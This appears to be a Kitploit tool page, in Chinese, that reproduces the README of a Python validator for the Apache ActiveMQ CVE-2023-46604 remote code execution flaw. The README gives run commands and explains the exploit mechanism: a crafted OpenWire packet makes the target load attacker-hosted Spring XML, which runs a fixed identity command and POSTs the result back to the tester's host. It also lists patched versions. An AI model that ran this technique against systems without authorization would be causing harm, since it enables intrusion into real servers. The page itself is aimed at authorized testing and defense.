Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ActiveMQ-CVE-2023-46604 — Apache ActiveMQ CVE-2023-46604 的非破坏性验证器。发送精心构造的 OpenWire 数据包,利用 HTTP 回调服务器确认 RCE 或 XML 加载,并为授权渗透测试生成 CSV/JSON 证据。 | Kitploit
工具/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Apache ActiveMQ CVE-2023-46604 的非破坏性验证器。发送精心构造的 OpenWire 数据包,利用 HTTP 回调服务器确认 RCE 或 XML 加载,并为授权渗透测试生成 CSV/JSON 证据。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
1422天前尚未审核
分享

CVE-2023-46604 ActiveMQ 安全验证器

一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器,在内存中生成针对目标的 Spring XML,发送精心构造的 OpenWire 数据包,将回调与唯一令牌关联,并写入 CSV/JSON 证据。

该项目专为授权渗透测试和资产清单验证而设计。它刻意不实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。

验证器能证明什么

提供两种固定的验证模式:

  • rce 执行一个固定的、只读的身份探测命令,并将其输出返回给内置 HTTP 服务器。回调可确认在 ActiveMQ 服务上下文中执行了操作系统命令。
  • xml 提供一个空的 Spring 上下文。获取行为可确认精心构造的 OpenWire 消息导致目标实例化了 ClassPathXmlApplicationContext 并检索了攻击者控制的 XML,而无需启动进程。

无需单独创建或托管任何 XML 文件。

功能特性

  • 单个 Python 文件;仅使用标准库
  • 内置多线程 HTTP 服务器
  • 动态的、针对每个目标的 XML 和回调令牌
  • 明确的单目标和多目标输入
  • 有界并发和发送重试
  • 支持纯 OpenWire 和 TLS 包装的 OpenWire
  • 固定的 Linux 和 Windows 身份探测命令
  • 默认输出 CSV 证据,可选 JSON
  • 准确的结果状态,避免虚假的"未漏洞"声明
  • 支持 CI 友好的 --fail-on-vuln 退出码

环境要求

  • Python 3.9 或更高版本
  • 测试主机到目标 OpenWire 监听器的网络访问
  • 目标到内置 HTTP 回调地址的网络访问
  • 对每个目标的明确授权

默认 OpenWire 端口为 61616,但也支持非默认端口。

快速开始

示例中使用仅用于文档的地址;请将其替换为您已授权的资产。

单个 Linux 目标

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

脚本会自动在 TCP/8000 上启动回调服务器,提供生成的 XML,发送 OpenWire 数据包,等待证据,打印结果表,并写入:

root@kitploit:~
activemq-cve-2023-46604-results.csv

多个明确目标

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

目标文件

创建 targets.txt:

root@kitploit:~
# 每行一个明确授权的主机
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

运行:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

目标文件可以包含空行和以 # 开头的注释。刻意不支持 CIDR 扩展;请明确枚举已授权的资产清单。

自动回调地址检测

对于简单的路由网络,可省略 --callback-host:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

该工具会选择用于向第一个目标路由的本地源地址。在通过 NAT、VPN、容器、跳板机或多宿主系统进行测试时,请指定 --callback-host。

Windows 托管的 ActiveMQ

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Windows 探测命令使用一个固定的、非交互式 PowerShell 命令来返回服务身份、计算机名和操作系统版本。它不提供交互式 Shell。

仅 XML 加载验证

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

此模式不会实例化 ProcessBuilder。

TLS 包装的 OpenWire

使用 ssl:// 目标:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

对于具有不受信任证书的内部监听器:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify 仅影响 OpenWire TLS 连接。回调服务器使用 HTTP。

结果状态

已修补的代理、错误的端口、出口过滤、路由问题、TLS 不匹配和端点控制都可能影响基于回调的验证。请保留 CSV/JSON 时间戳和回调输出作为报告证据。

固定身份证据

Linux 身份探测命令返回的输出类似于:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

它会尝试使用 curl、wget 和 BusyBox wget 进行 HTTP POST。如果 XML 被获取但这些客户端均不可用,则结果为 VULNERABLE_XML_LOAD_ONLY 而非假阴性。

退出码

  • 0:验证完成,或发现漏洞但未使用 --fail-on-vuln
  • 2:发现至少一个漏洞结果且提供了 --fail-on-vuln
  • argparse 错误使用正常的非零命令行错误码

CI 使用示例:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

工作原理

CVE-2023-46604 影响 Java OpenWire 反序列化。验证器发送一个松散编组的 OpenWire ExceptionResponse,其异常类为:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

异常消息是生成的 Spring XML 的唯一 URL。易受攻击的 ActiveMQ 代码会使用该 URL 实例化攻击者选择的类。在 rce 模式下,Spring 上下文启动一个固定的 ProcessBuilder 探测命令;在 xml 模式下,上下文为空。

每个目标都会收到不同的令牌,例如:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

这使得并发回调可以归因于正确的目标。

命令参考

root@kitploit:~
--authorized                 必需的授权确认
-t, --target VALUE           明确目标;可重复
-T, --targets-file FILE      每行一个明确目标;可重复
--default-port PORT          默认 61616
--tls                        对所有目标使用 TLS
--tls-no-verify              禁用 OpenWire TLS 证书验证
--callback-host HOST         目标用于 HTTP 回调的地址
--bind-host HOST             本地 HTTP 绑定地址;默认 0.0.0.0
--http-port PORT             本地 HTTP 端口;默认 8000;0 选择空闲端口
--proof rce|xml              固定验证模式;默认 rce
--platform linux|windows     RCE 模式的目标操作系统;默认 linux
--workers N                  并行工作线程;最大 32
--connect-timeout SECONDS    TCP/TLS 超时
--wait SECONDS               回调收集窗口
--retries N                  数据包发送尝试次数,1 到 3 次
--retry-delay SECONDS        尝试之间的延迟
-o, --output FILE            CSV 证据输出位置
--json-output FILE           可选的 JSON 输出位置
--verbose                    显示 HTTP 请求日志
--fail-on-vuln               发现漏洞结果时退出码为 2

测试

root@kitploit:~
python3 -m unittest discover -s tests -v

测试验证目标解析、CIDR 拒绝、XML 格式正确性以及 OpenWire 帧结构,无需联系任何目标。

修复建议

将 ActiveMQ 升级到已修复且当前受支持的版本。Apache 公告将当时当前分支的修复版本确定为 ActiveMQ 5.15.16、5.16.7、5.17.6、5.18.3 和 6.0.0,以及 Artemis 2.31.2。同时将 OpenWire 监听器限制为受信任的客户端,并监控意外的出站 XML 检索。

安全性与范围

本仓库用于防御性验证和授权安全评估。它刻意省略了:

  • 反向 Shell 载荷
  • 任意 --command 执行
  • 可执行文件或脚本暂存
  • 持久化
  • 认证攻击
  • CIDR/范围扩展

固定身份探测命令足以证明远程命令执行和服务账户影响,而无需建立交互式访问。

参考链接

  • Apache ActiveMQ:https://activemq.apache.org/news/cve-2023-46604
  • Apache ActiveMQ 安全公告:https://activemq.apache.org/components/classic/security
  • Apache ActiveMQ 源码:https://github.com/apache/activemq
  • Vulhub 实验环境:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

许可证

MIT。参见 LICENSE。

下载工具
状态含义
CONFIRMED_VULNERABLE_RCE目标获取了其 XML,且固定身份命令返回了证据。
CONFIRMED_VULNERABLE_XML_LOAD在 xml 模式下,目标获取了唯一的 XML 文档。
VULNERABLE_XML_LOAD_ONLY在 rce 模式下,发生了 XML 检索但命令回调未发生。已确认易受攻击的类实例化路径;回调工具、出口流量或进程执行可能受到限制。
NOT_CONFIRMED数据包已发送,但在截止时间前未收到关联的 HTTP 证据。这不能证明主机已修补。
UNREACHABLETCP/TLS 连接或数据包发送失败。